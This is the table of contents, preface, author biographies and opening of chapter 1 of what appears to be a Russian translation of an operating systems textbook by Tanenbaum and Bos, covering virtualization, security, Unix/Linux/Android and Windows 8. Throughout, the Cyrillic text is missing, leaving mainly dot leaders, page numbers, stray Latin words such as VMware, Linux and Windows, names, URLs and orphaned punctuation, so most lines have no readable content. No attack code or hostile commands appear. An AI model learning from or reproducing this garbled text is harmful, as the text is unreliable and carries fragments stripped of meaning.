7.7.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7.3. - . . . .
7.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.9. . . . . . . . . . . . . . . .
7.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12. : VMWARE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.1. VMware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.2. VMware Workstation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.3. x86 . . . . . . . . . . . . . . . . . .
7.12.4. VMware Workstation: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.5. VMware Workstation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.6. ESX-: VMware . . . . . . . . . . . . . . . . . .
7.13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

529
530
533
535
536
539
540
543
545
546
547
548
549
550
551
551
552
553
554
554
555
556
556
558
559
560
570
571
573
573

8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576
8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 579
8.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . 579
8.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . 591

12

8.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.3. . . . . . . . . . . . . . . . . .
8.2.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.5. . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4.3. . . . . . . . . . . . . . . .
8.4.4. . . . . . . . .
8.4.5. , . . . . . . . . . . . .
8.4.6. , . . . . .
8.5. . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

595
600
607
608
612
615
619
621
626
627
630
633
636
640
641
646
648
651
652
653

9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659
9.1. , . . . . . . .
9.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.2.1. ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.2. UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.5. . . . . . . . . . . . . . . . . . .
9.6.6. . . . . . . . . . . . . . . . .

661
662
665
665
666
667
669
669
671
674
677
679
682
686
687
688
689
689
691
693
695
697
698
700
700
703


9.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.1. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.2. , . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.4. , . . . . . . . . . . . . . . . . . .
9.7.5. , . . . . . . . . . . . . . .
9.7.6. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.7 , . . . . . . . . .
9.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.8.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.4. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.2. . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.5. . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.7. Java . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

13
706
708
717
720
721
722
723
724
725
725
726
727
728
731
733
743
745
749
754
754
756
763
764
765
767
771
773
775
776

10. : Unix, Linux Android . . . . . . . . . . . . . . . . . . 784


10.1. UNIX Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.1. UNICS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.2. PDP-11 UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.3. UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.4. Berkeley UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.5. UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.6. MINIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.7. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2.1. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2.4. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3.2. Linux . . . . . . . . . . . . . . . . . . . . . . .
10.3.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3.4. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3.5. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

785
785
786
787
788
789
790
791
794
794
795
797
800
802
804
805
807
811
818
823

14

10.4. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.4. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5. - Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.3. - Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.4. - Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.5. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6. UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.4. NFS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.1. Android Google . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.2. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.4. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.5. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.6. Dalvik . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.7. Binder IPC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.8. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

826
826
829
830
837
840
840
841
843
844
847
848
848
853
857
866
872
872
875
875
876
877
878
881
883
885
888
890
898
909
911
912
918
923
924

11. : Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . . 931


11.1. Windows Windows 8.1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.1.1. 80- : MS-DOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.1.2. 90- : Windows MS-DOS . . . . . . . . . . . . . . . . . .
11.1.3. 2000 : Windows NT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.1.4. Windows Vista . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.1.5 2010- : Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.2. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.2.1. NT . . . . . . . . . . . . . .
11.2.2. Win32 . . . . . . . . . . . . . . . . . . . . . . .
11.2.3. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.3.2. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.3.4. , DLL . . . . . . . . . . . . . . . . . . .

931
932
933
933
936
937
938
942
946
950
952
952
968
970
980

15

11.4. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 983


11.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 983
11.4.2. API , ,
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 990
11.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 996
11.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1003
11.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1004
11.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1008
11.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1009
11.6. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1019
11.7. - Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1020
11.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1020
11.7.2. - . . . . . . . 1022
11.7.3. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1024
11.8. Windows NT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1029
11.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1029
11.8.2. NTFS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1030
11.9. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1040
11.10. Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1042
11.10.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1044
11.10.2. . . . . . . 1046
11.10.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1046
11.10.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1049
11.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1052
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1053
12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1058
12.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.1.2. ? . . . . . . . . . . . . .
12.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.7. . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.8 . . . . . . . . . . . . . . . .
12.3.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4.1. ? . . . . . . . . . . . . . . . . . . . . . .
12.4.2. ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4.3. . . . . . . . .
12.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

1058
1058
1060
1062
1062
1064
1068
1071
1071
1075
1076
1077
1079
1080
1081
1082
1083
1089
1089
1090
1091
1094
1095
1095
1096

16

12.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6. . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.3. . . . . . . . . . . . .
12.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

1097
1097
1098
1100
1101
1102
1102
1103
1103
1104
1105
1105
1106
1106

13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1110
13.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.5. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.10. 1: Unix, Linux Android . . . . . . . . . . . . . . . . . .
13.1.11. 2: Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

1110
1110
1111
1111
1112
1112
1113
1114
1114
1115
1117
1118
1118
1119

.
, . , , ,

. , Windows Vista,
, Vista Microsoft . , Symbian,
, . Vista Windows 8, Symbian Android. ,
.
.
1 ,
.
2 .
, ,
.
3 MULTICS.
4 -,
, (-).
, RAID-, RAID- 6.
5 .
, - -, , , .
6 . ,
, .
7 .
. VMware.
8 .
,
. .
9 , . ,
.

18

, NX- ,
, .
10 . ,
Unix Linux,
, Android,
.
11 Windows Vista. , Windows 8, Windows 8.1. .
12 13 .
13 .
, 223 , .
, , ,
, .
.
( ) www.pearsonhighered.com/tanenbaum. ,
PowerPoint, , , , . , , .
.
,
. UNIX , ,
. , ,
.
(Tracy Johnson) , , ,
, , . ,

(Camille Trentacoste). . .

(Carole Snyder).
7, VMware ( 7.12),
(Edouard Bugnion) ().
VMware
. .
(Ada Gavrilovska) , Linux, 10 ,
. Android 10
(Dianne Hackborn) Google.
Android, ,

19

. 10
, UNIX, Linux Android
. , ,
.
.
, Windows. 11 (Dave Probert) Microsoft.
Windows 8.1.
Windows, ,
, Microsoft
, , . Windows , , .
.
.
, .
(Trudy Levine), (Shivakant Mishra), (Krishna Sivalingam) . PowerPoint-
, .
, ( ) ()
. ,
.
. ,
, .
, , , - .
, , , ,
. , , , , ,
.
. (Andrew S. Tanenbaum)
, .
, , , , ,
. Minecraft.
(Herbert Bos)

20


, ,
comp@piter.com ( , ).
!
- http://www.piter.com
.


.
.

(Vrije) (). (Advanced
School for Computing and Imaging), , .
(Royal
Netherlands Academy of Arts and Sciences), , ,
. ,
(European Research Council Advanced Grant).
, ,
.
.
175 ,
. ,
, 20 , , .
163 ( + ).
, MINIX, UNIX.
Linux , Linux. MINIX,
MINIX 3,
.
, , , .
MINIX 3 , ,
.
, www.minix3.org.
x86, ARM.
, , .
. - -.
(Association for
Computing Machinery ACM),

21

(Institute of Electrical and Electronics Engineers IEEE),


. ACM,
IEEE USENIX. . , .
,
().
- Linux
, MINIX 3.
(Vrije) () .
, , ( ,
). 2011
(ERC Starting Grant).
(Roger Needham Award)
.

1.

,
, , , , , ,
-. .
, , , .
,
.
,
, ,
.
.

, Windows, Linux, FreeBSD Max OS X,
. , , , , (Graphical User Interface (GUI)),
, ,
.
. 1.1.
. ,
, , , .
.
: . ,
( ).
,
.
,
. , , ,
,
- (Input/Output I/O).
.
.
GUI
, , , -,
.
.

23

. 1.1.

. 1.1.
.
( ) : ,
, , ,
,
.
( ) (, , Java,
, ).
, ,
. , ,
.
, ,
. ,
, (, ), .
. , , , , , ,
, , , .
( ) . ,
. Linux Windows 5 .
, 5
50 1000 (
). , 100 , . ,

24

1.


: .
, .
Windows 70 ( ,
1020 ), (,
Windows Explorer, Windows Media Player . .).
, ,
, , , .
. Windows 95/98/Me
, Windows NT/2000/XP/Vista/
Windows 7 . ,
Microsoft , Windows 2000/XP/
Vista/Windows 7 , ,
Windows 98. Microsoft ,
Windows 98, , 11
Windows.
, ,
UNIX, . ,
, System V, Solaris FreeBSD.
Linux , UNIX
. , UNIX, , Linux
10.
,
, , , ,
, .
.

1.1. ?
. ,
, ,
.
,
: ( ,
)
. ,
, .
.

1.1.1.
( , , )
, -. , -

1.1. ?

25

SATA (Serial ATA), . ,


Anderson 2007
, ,
450 . , 2007 . ,
.
, , ,
.
-.
. . , ,
, .
.
, .
, . ,
,
. , ,
, -.
, - ,
SATA- ( ). ,
, , .
,
.
, . Macintosh, ,
. ,
,
, , , ,
.
,
, (
),
. ( )
, , . (. 1.2).
,
(, ).
.
, , , .
,

26

1.

. 1.2.

, .
, Windows .
,
Windows , .
